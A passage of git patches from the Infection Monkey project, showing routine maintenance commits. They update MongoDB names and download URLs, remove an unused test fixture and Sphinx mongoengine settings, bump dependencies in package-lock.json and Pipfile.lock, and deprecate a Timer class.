Feb 2023 11:18:38 -0500 Subject: [PATCH 0070/1338] Island: Update Mongo DB name in readme.md --- monkey/monkey_island/readme.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index 375af7d2495..ba52094f193 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -31,7 +31,7 @@ OR - Use already running instance of mongodb - 1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server + 1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkey_island"'. Replace '' with address of mongo server 1. Place portable version of OpenSSL - Download from: @@ -104,7 +104,7 @@ OR - Use already running instance of mongodb - 1. Run `set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"`. Replace '' with address of mongo server + 1. Run `set MONKEY_MONGO_URL="mongodb://:27017/monkey_island"`. Replace '' with address of mongo server 1. Generate SSL Certificate: - `cd ./monkey_island` From 0d41c4cc9c94219f7cc6eb1191dc309b5b7a4838 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 11:31:38 -0500 Subject: [PATCH 0071/1338] UT: Remove disused mongomock_fixtures.py --- .../monkey_island/cc/mongomock_fixtures.py | 23 ------------------- 1 file changed, 23 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py index 4fac539c1e3..e69de29bb2d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py +++ b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py @@ -1,23 +0,0 @@ -import mongoengine -import pytest - -# Database name has to match the db used in the codebase, -# else the name needs to be mocked during tests. -# Currently its used like so: "mongo.db.telemetry.find()". -MOCK_DB_NAME = "db" - - -@pytest.fixture(scope="module", autouse=True) -def change_to_mongo_mock(): - # Make sure tests are working with mongomock - mongoengine.disconnect() - mongoengine.connect(MOCK_DB_NAME, host="mongomock://localhost") - - -@pytest.fixture(scope="function") -def uses_database(): - _drop_database() - - -def _drop_database(): - mongoengine.connection.get_connection().drop_database(MOCK_DB_NAME) From fe5a69b8063479076605b26c89b36d36029dfc9d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 11:32:01 -0500 Subject: [PATCH 0072/1338] Docs: Remove mongoengine references in sphinx documentation --- monkey/monkey_island/docs/source/conf.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/monkey_island/docs/source/conf.py b/monkey/monkey_island/docs/source/conf.py index f9cda50d487..36779c8121c 100644 --- a/monkey/monkey_island/docs/source/conf.py +++ b/monkey/monkey_island/docs/source/conf.py @@ -58,8 +58,6 @@ autodoc_mock_imports = [ # "flask", - "mongoengine", - "mongoengine.connection", # "netifaces", # `"psutil", # "flask_restful", @@ -131,7 +129,7 @@ # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. -exclude_patterns = ["*node_modules*", "**mongoengine**"] +exclude_patterns = ["*node_modules*"] # The name of the Pygments (syntax highlighting) style to use. pygments_style = None From 1f638a334e811f6e2356375e189f11c11c6f816f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 10:32:41 -0500 Subject: [PATCH 0073/1338] Island: Upgrade MongoDB version to 6.0.4 for Windows --- monkey/monkey_island/windows/install_mongo.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/windows/install_mongo.ps1 b/monkey/monkey_island/windows/install_mongo.ps1 index 4f7b3aa4e99..d23bb607273 100644 --- a/monkey/monkey_island/windows/install_mongo.ps1 +++ b/monkey/monkey_island/windows/install_mongo.ps1 @@ -3,7 +3,7 @@ param( [String]$binDir ) -$MONGODB_URL = "https://fastdl.mongodb.org/win32/mongodb-win32-x86_64-2012plus-4.2.20.zip" +$MONGODB_URL = "https://fastdl.mongodb.org/windows/mongodb-windows-x86_64-6.0.4.zip" $TEMP_MONGODB_ZIP = (Join-Path -path $(Get-Location) -ChildPath ".\mongodb.zip") From 507c4d9a2b77052da21019b9831077260d1a8fb9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 10:33:04 -0500 Subject: [PATCH 0074/1338] Island: Update MongoDB download URL in readme.md --- monkey/monkey_island/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index ba52094f193..5a56c3f6d08 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -26,7 +26,7 @@ 1. Setup mongodb (Use one of the following two options): - Place portable version of mongodb - 1. Download from: + 1. Download from: 2. Extract contents of bin folder to \monkey\monkey_island\bin\mongodb. OR From 13f9a5276a54fb5746a5d0d53ffb72885925321d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 15 Feb 2023 19:28:49 +0000 Subject: [PATCH 0075/1338] Bump ua-parser-js from 0.7.31 to 0.7.33 in /monkey/monkey_island/cc/ui Bumps [ua-parser-js](https://github.com/faisalman/ua-parser-js) from 0.7.31 to 0.7.33. - [Release notes](https://github.com/faisalman/ua-parser-js/releases) - [Changelog](https://github.com/faisalman/ua-parser-js/blob/master/changelog.md) - [Commits](https://github.com/faisalman/ua-parser-js/compare/0.7.31...0.7.33) --- updated-dependencies: - dependency-name: ua-parser-js dependency-type: indirect ... Signed-off-by: dependabot[bot] --- PR: #2893 --- monkey/monkey_island/cc/ui/package-lock.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 9810b14fb71..ac0d90b88a1 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -13761,9 +13761,9 @@ } }, "node_modules/ua-parser-js": { - "version": "0.7.31", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.31.tgz", - "integrity": "sha512-qLK/Xe9E2uzmYI3qLeOmI0tEOt+TBBQyUIAh4aAgU05FVYzeZrKUdkAZfBNVGRaHVgV0TDkdEngJSw/SyQchkQ==", + "version": "0.7.33", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.33.tgz", + "integrity": "sha512-s8ax/CeZdK9R/56Sui0WM6y9OFREJarMRHqLB2EwkovemBxNQ+Bqu8GAsUnVcXKgphb++ghr/B2BZx4mahujPw==", "funding": [ { "type": "opencollective", @@ -24894,9 +24894,9 @@ "dev": true }, "ua-parser-js": { - "version": "0.7.31", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.31.tgz", - "integrity": "sha512-qLK/Xe9E2uzmYI3qLeOmI0tEOt+TBBQyUIAh4aAgU05FVYzeZrKUdkAZfBNVGRaHVgV0TDkdEngJSw/SyQchkQ==" + "version": "0.7.33", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.33.tgz", + "integrity": "sha512-s8ax/CeZdK9R/56Sui0WM6y9OFREJarMRHqLB2EwkovemBxNQ+Bqu8GAsUnVcXKgphb++ghr/B2BZx4mahujPw==" }, "unbox-primitive": { "version": "1.0.1", From 2c429c946a7146b15448423fa1df4731048e0276 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Feb 2023 10:16:35 -0500 Subject: [PATCH 0076/1338] Common: Deprecate Timer --- monkey/common/utils/timer.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/common/utils/timer.py b/monkey/common/utils/timer.py index f7298aa86c6..8adf880ec3b 100644 --- a/monkey/common/utils/timer.py +++ b/monkey/common/utils/timer.py @@ -1,12 +1,15 @@ import time +from warnings import warn +# TODO: Use EggTimer class Timer: """ A class for checking whether or not a certain amount of time has elapsed. """ def __init__(self): + warn("Timer is deprecated. EggTimer instead.", DeprecationWarning, stacklevel=2) self._timeout_sec = 0 self._start_time = 0 From c380518157c74043517098d2f2c3ece1f0979b13 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Feb 2023 11:54:20 -0500 Subject: [PATCH 0077/1338] Agent: Upgrade Python dependencies --- monkey/infection_monkey/Pipfile.lock | 505 ++++++++++++++++----------- 1 file changed, 298 insertions(+), 207 deletions(-) diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index d92a7905c24..825c4a29a28 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -26,11 +26,10 @@ }, "aiowinreg": { "hashes": [ - "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", - "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" + "sha256:8fd39c039021296d47c023f4db863bf6016882c87a50de9870c3471b00ddc148" ], "markers": "python_version >= '3.6'", - "version": "==0.0.7" + "version": "==0.0.9" }, "altgraph": { "hashes": [ @@ -48,19 +47,19 @@ }, "asyauth": { "hashes": [ - "sha256:1988a029fad89220baadfed0624825a99acc1d7f476f66983339d160b94e64ff", - "sha256:9db67fb5cbfd71a52d1b2c27ef87a4addab44b5006076918d8823c996d0273a7" + "sha256:a70975fc25676da585decd2f2187802fc3694463ff93fbb39bb7809014c240ef", + "sha256:b55beaccab02bef4a0281df14413272102c40f309a3cefe1f1c33c58ca738ba3" ], "markers": "python_version >= '3.7'", - "version": "==0.0.9" + "version": "==0.0.13" }, "asysocks": { "hashes": [ - "sha256:0d7c534a43ec098334bc7ab11fc6aba51552a2ffc8fbff125a195a924ee8e159", - "sha256:2471a4426c6dff6f46467552fc62d4d60e5873eababe828d3a1de7dcb7dc7dc6" + "sha256:03c9ba580d528c3e5ac11747b57b1935a1b9bf34abb47d82db79730351615a5a", + "sha256:d2cb39dc7136d098b1c2f9be8dd4b1c47451aae1d566a2a34c534ae08805143d" ], "markers": "python_version >= '3.6'", - "version": "==0.2.3" + "version": "==0.2.5" }, "attrs": { "hashes": [ @@ -181,11 +180,97 @@ }, "charset-normalizer": { "hashes": [ - "sha256:5a3d016c7c547f69d6f81fb0db9449ce888b418b5b9952cc5e6e66843e9dd845", - "sha256:83e9a75d1911279afd89352c68b45348559d1fc0506b054b346651b5e7fee29f" + "sha256:00d3ffdaafe92a5dc603cb9bd5111aaa36dfa187c8285c543be562e61b755f6b", + "sha256:024e606be3ed92216e2b6952ed859d86b4cfa52cd5bc5f050e7dc28f9b43ec42", + "sha256:0298eafff88c99982a4cf66ba2efa1128e4ddaca0b05eec4c456bbc7db691d8d", + "sha256:02a51034802cbf38db3f89c66fb5d2ec57e6fe7ef2f4a44d070a593c3688667b", + "sha256:083c8d17153ecb403e5e1eb76a7ef4babfc2c48d58899c98fcaa04833e7a2f9a", + "sha256:0a11e971ed097d24c534c037d298ad32c6ce81a45736d31e0ff0ad37ab437d59", + "sha256:0bf2dae5291758b6f84cf923bfaa285632816007db0330002fa1de38bfcb7154", + "sha256:0c0a590235ccd933d9892c627dec5bc7511ce6ad6c1011fdf5b11363022746c1", + "sha256:0f438ae3532723fb6ead77e7c604be7c8374094ef4ee2c5e03a3a17f1fca256c", + "sha256:109487860ef6a328f3eec66f2bf78b0b72400280d8f8ea05f69c51644ba6521a", + "sha256:11b53acf2411c3b09e6af37e4b9005cba376c872503c8f28218c7243582df45d", + "sha256:12db3b2c533c23ab812c2b25934f60383361f8a376ae272665f8e48b88e8e1c6", + "sha256:14e76c0f23218b8f46c4d87018ca2e441535aed3632ca134b10239dfb6dadd6b", + "sha256:16a8663d6e281208d78806dbe14ee9903715361cf81f6d4309944e4d1e59ac5b", + "sha256:292d5e8ba896bbfd6334b096e34bffb56161c81408d6d036a7dfa6929cff8783", + "sha256:2c03cc56021a4bd59be889c2b9257dae13bf55041a3372d3295416f86b295fb5", + "sha256:2e396d70bc4ef5325b72b593a72c8979999aa52fb8bcf03f701c1b03e1166918", + "sha256:2edb64ee7bf1ed524a1da60cdcd2e1f6e2b4f66ef7c077680739f1641f62f555", + "sha256:31a9ddf4718d10ae04d9b18801bd776693487cbb57d74cc3458a7673f6f34639", + "sha256:356541bf4381fa35856dafa6a965916e54bed415ad8a24ee6de6e37deccf2786", + "sha256:358a7c4cb8ba9b46c453b1dd8d9e431452d5249072e4f56cfda3149f6ab1405e", + "sha256:37f8febc8ec50c14f3ec9637505f28e58d4f66752207ea177c1d67df25da5aed", + "sha256:39049da0ffb96c8cbb65cbf5c5f3ca3168990adf3551bd1dee10c48fce8ae820", + "sha256:39cf9ed17fe3b1bc81f33c9ceb6ce67683ee7526e65fde1447c772afc54a1bb8", + "sha256:3ae1de54a77dc0d6d5fcf623290af4266412a7c4be0b1ff7444394f03f5c54e3", + "sha256:3b590df687e3c5ee0deef9fc8c547d81986d9a1b56073d82de008744452d6541", + "sha256:3e45867f1f2ab0711d60c6c71746ac53537f1684baa699f4f668d4c6f6ce8e14", + "sha256:3fc1c4a2ffd64890aebdb3f97e1278b0cc72579a08ca4de8cd2c04799a3a22be", + "sha256:4457ea6774b5611f4bed5eaa5df55f70abde42364d498c5134b7ef4c6958e20e", + "sha256:44ba614de5361b3e5278e1241fda3dc1838deed864b50a10d7ce92983797fa76", + "sha256:4a8fcf28c05c1f6d7e177a9a46a1c52798bfe2ad80681d275b10dcf317deaf0b", + "sha256:4b0d02d7102dd0f997580b51edc4cebcf2ab6397a7edf89f1c73b586c614272c", + "sha256:502218f52498a36d6bf5ea77081844017bf7982cdbe521ad85e64cabee1b608b", + "sha256:503e65837c71b875ecdd733877d852adbc465bd82c768a067badd953bf1bc5a3", + "sha256:5995f0164fa7df59db4746112fec3f49c461dd6b31b841873443bdb077c13cfc", + "sha256:59e5686dd847347e55dffcc191a96622f016bc0ad89105e24c14e0d6305acbc6", + "sha256:601f36512f9e28f029d9481bdaf8e89e5148ac5d89cffd3b05cd533eeb423b59", + "sha256:608862a7bf6957f2333fc54ab4399e405baad0163dc9f8d99cb236816db169d4", + "sha256:62595ab75873d50d57323a91dd03e6966eb79c41fa834b7a1661ed043b2d404d", + "sha256:70990b9c51340e4044cfc394a81f614f3f90d41397104d226f21e66de668730d", + "sha256:71140351489970dfe5e60fc621ada3e0f41104a5eddaca47a7acb3c1b851d6d3", + "sha256:72966d1b297c741541ca8cf1223ff262a6febe52481af742036a0b296e35fa5a", + "sha256:74292fc76c905c0ef095fe11e188a32ebd03bc38f3f3e9bcb85e4e6db177b7ea", + "sha256:761e8904c07ad053d285670f36dd94e1b6ab7f16ce62b9805c475b7aa1cffde6", + "sha256:772b87914ff1152b92a197ef4ea40efe27a378606c39446ded52c8f80f79702e", + "sha256:79909e27e8e4fcc9db4addea88aa63f6423ebb171db091fb4373e3312cb6d603", + "sha256:7e189e2e1d3ed2f4aebabd2d5b0f931e883676e51c7624826e0a4e5fe8a0bf24", + "sha256:7eb33a30d75562222b64f569c642ff3dc6689e09adda43a082208397f016c39a", + "sha256:81d6741ab457d14fdedc215516665050f3822d3e56508921cc7239f8c8e66a58", + "sha256:8499ca8f4502af841f68135133d8258f7b32a53a1d594aa98cc52013fff55678", + "sha256:84c3990934bae40ea69a82034912ffe5a62c60bbf6ec5bc9691419641d7d5c9a", + "sha256:87701167f2a5c930b403e9756fab1d31d4d4da52856143b609e30a1ce7160f3c", + "sha256:88600c72ef7587fe1708fd242b385b6ed4b8904976d5da0893e31df8b3480cb6", + "sha256:8ac7b6a045b814cf0c47f3623d21ebd88b3e8cf216a14790b455ea7ff0135d18", + "sha256:8b8af03d2e37866d023ad0ddea594edefc31e827fee64f8de5611a1dbc373174", + "sha256:8c7fe7afa480e3e82eed58e0ca89f751cd14d767638e2550c77a92a9e749c317", + "sha256:8eade758719add78ec36dc13201483f8e9b5d940329285edcd5f70c0a9edbd7f", + "sha256:911d8a40b2bef5b8bbae2e36a0b103f142ac53557ab421dc16ac4aafee6f53dc", + "sha256:93ad6d87ac18e2a90b0fe89df7c65263b9a99a0eb98f0a3d2e079f12a0735837", + "sha256:95dea361dd73757c6f1c0a1480ac499952c16ac83f7f5f4f84f0658a01b8ef41", + "sha256:9ab77acb98eba3fd2a85cd160851816bfce6871d944d885febf012713f06659c", + "sha256:9cb3032517f1627cc012dbc80a8ec976ae76d93ea2b5feaa9d2a5b8882597579", + "sha256:9cf4e8ad252f7c38dd1f676b46514f92dc0ebeb0db5552f5f403509705e24753", + "sha256:9d9153257a3f70d5f69edf2325357251ed20f772b12e593f3b3377b5f78e7ef8", + "sha256:a152f5f33d64a6be73f1d30c9cc82dfc73cec6477ec268e7c6e4c7d23c2d2291", + "sha256:a16418ecf1329f71df119e8a65f3aa68004a3f9383821edcb20f0702934d8087", + "sha256:a60332922359f920193b1d4826953c507a877b523b2395ad7bc716ddd386d866", + "sha256:a8d0fc946c784ff7f7c3742310cc8a57c5c6dc31631269876a88b809dbeff3d3", + "sha256:ab5de034a886f616a5668aa5d098af2b5385ed70142090e2a31bcbd0af0fdb3d", + "sha256:c22d3fe05ce11d3671297dc8973267daa0f938b93ec716e12e0f6dee81591dc1", + "sha256:c2ac1b08635a8cd4e0cbeaf6f5e922085908d48eb05d44c5ae9eabab148512ca", + "sha256:c512accbd6ff0270939b9ac214b84fb5ada5f0409c44298361b2f5e13f9aed9e", + "sha256:c75ffc45f25324e68ab238cb4b5c0a38cd1c3d7f1fb1f72b5541de469e2247db", + "sha256:c95a03c79bbe30eec3ec2b7f076074f4281526724c8685a42872974ef4d36b72", + "sha256:cadaeaba78750d58d3cc6ac4d1fd867da6fc73c88156b7a3212a3cd4819d679d", + "sha256:cd6056167405314a4dc3c173943f11249fa0f1b204f8b51ed4bde1a9cd1834dc", + "sha256:db72b07027db150f468fbada4d85b3b2729a3db39178abf5c543b784c1254539", + "sha256:df2c707231459e8a4028eabcd3cfc827befd635b3ef72eada84ab13b52e1574d", + "sha256:e62164b50f84e20601c1ff8eb55620d2ad25fb81b59e3cd776a1902527a788af", + "sha256:e696f0dd336161fca9adbb846875d40752e6eba585843c768935ba5c9960722b", + "sha256:eaa379fcd227ca235d04152ca6704c7cb55564116f8bc52545ff357628e10602", + "sha256:ebea339af930f8ca5d7a699b921106c6e29c617fe9606fa7baa043c1cdae326f", + "sha256:f4c39b0e3eac288fedc2b43055cfc2ca7a60362d0e5e87a637beac5d801ef478", + "sha256:f5057856d21e7586765171eac8b9fc3f7d44ef39425f85dbcccb13b3ebea806c", + "sha256:f6f45710b4459401609ebebdbcfb34515da4fc2aa886f95107f556ac69a9147e", + "sha256:f97e83fa6c25693c7a35de154681fcc257c1c41b38beb0304b9c4d2d9e164479", + "sha256:f9d0c5c045a3ca9bedfc35dca8526798eb91a07aa7a2c0fee134c6c6f321cbd7", + "sha256:ff6f3db31555657f3163b15a6b7c6938d08df7adbfc9dd13d9d19edad678f1e8" ], "markers": "python_full_version >= '3.6.0'", - "version": "==2.1.1" + "version": "==3.0.1" }, "click": { "hashes": [ @@ -200,7 +285,7 @@ "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5, 3.6'", + "markers": "platform_system == 'Windows' and platform_system == 'Windows'", "version": "==0.4.6" }, "constantly": { @@ -240,34 +325,34 @@ }, "dnspython": { "hashes": [ - "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e", - "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f" + "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9", + "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46" ], - "markers": "python_version >= '3.6' and python_version < '4.0'", - "version": "==2.2.1" + "markers": "python_version >= '3.7' and python_version < '4'", + "version": "==2.3.0" }, "egg-timer": { "hashes": [ - "sha256:d7403f987abcb16c1a1cee19299202eda7c70169d45f0214d3c3435272291df4", - "sha256:fc46e51a644ed3d8e09786b985031d3ed8759b2cbff39b9ab751b5d2b00933db" + "sha256:e56a28a05a765aa332be477fac56bbaf012a216b71f4ef5dcb4e2c8b9033b328", + "sha256:ee9d886857dc25329909d344534c34f1429824e57a587cff1e4b72483c70757b" ], "index": "pypi", - "version": "==1.0.1" + "version": "==1.1.1" }, "flask": { "hashes": [ - "sha256:642c450d19c4ad482f96729bd2a8f6d32554aa1e231f4f6b4e7e5264b16cca2b", - "sha256:b9c46cc36662a7949f34b52d8ec7bb59c0d74ba08ba6cb9ce9adc1d8676d9526" + "sha256:7eb373984bf1c770023fce9db164ed0c3353cd0b53f130f4693da0ca756a2e6d", + "sha256:c0bec9477df1cb867e5a67c9e1ab758de9cb4a3e52dd70681f59fa40a62b3f2d" ], "markers": "python_version >= '3.7'", - "version": "==2.2.2" + "version": "==2.2.3" }, "future": { "hashes": [ - "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + "sha256:34a17436ed1e96697a86f9de3d15a3b0be01d8bc8de9c1dffd59fb8234ed5307" ], "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.18.2" + "version": "==0.18.3" }, "hyperlink": { "hashes": [ @@ -293,11 +378,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:0eafa39ba42bf225fc00e67f701d71f85aead9f878569caf13c3724f704b970f", - "sha256:404d48d62bba0b7a77ff9d405efd91501bef2e67ff4ace0bed40a0cf28c3c7cd" + "sha256:7efb448ec9a5e313a57655d35aa54cd3e01b7e1fbcf72dce1bf06119420f5bad", + "sha256:e354bedeb60efa6affdcc8ae121b73544a7aa74156d047311948f6d711cd378d" ], "markers": "python_version < '3.10'", - "version": "==5.2.0" + "version": "==6.0.0" }, "importlib-resources": { "hashes": [ @@ -374,49 +459,59 @@ }, "markupsafe": { "hashes": [ - "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", - "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", - "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", - "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", - "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", - "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", - "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", - "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", - "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", - "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", - "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", - "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", - "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", - "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", - "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", - "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", - "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", - "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", - "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", - "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", - "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", - "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", - "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", - "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", - "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", - "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", - "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", - "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", - "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", - "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", - "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", - "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", - "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", - "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", - "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", - "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", - "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", - "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", - "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", - "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" + "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed", + "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc", + "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2", + "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460", + "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7", + "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0", + "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1", + "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa", + "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03", + "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323", + "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65", + "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013", + "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036", + "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f", + "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4", + "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419", + "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2", + "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619", + "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a", + "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a", + "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd", + "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7", + "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666", + "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65", + "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859", + "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625", + "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff", + "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156", + "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd", + "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba", + "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f", + "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1", + "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094", + "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a", + "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513", + "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed", + "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d", 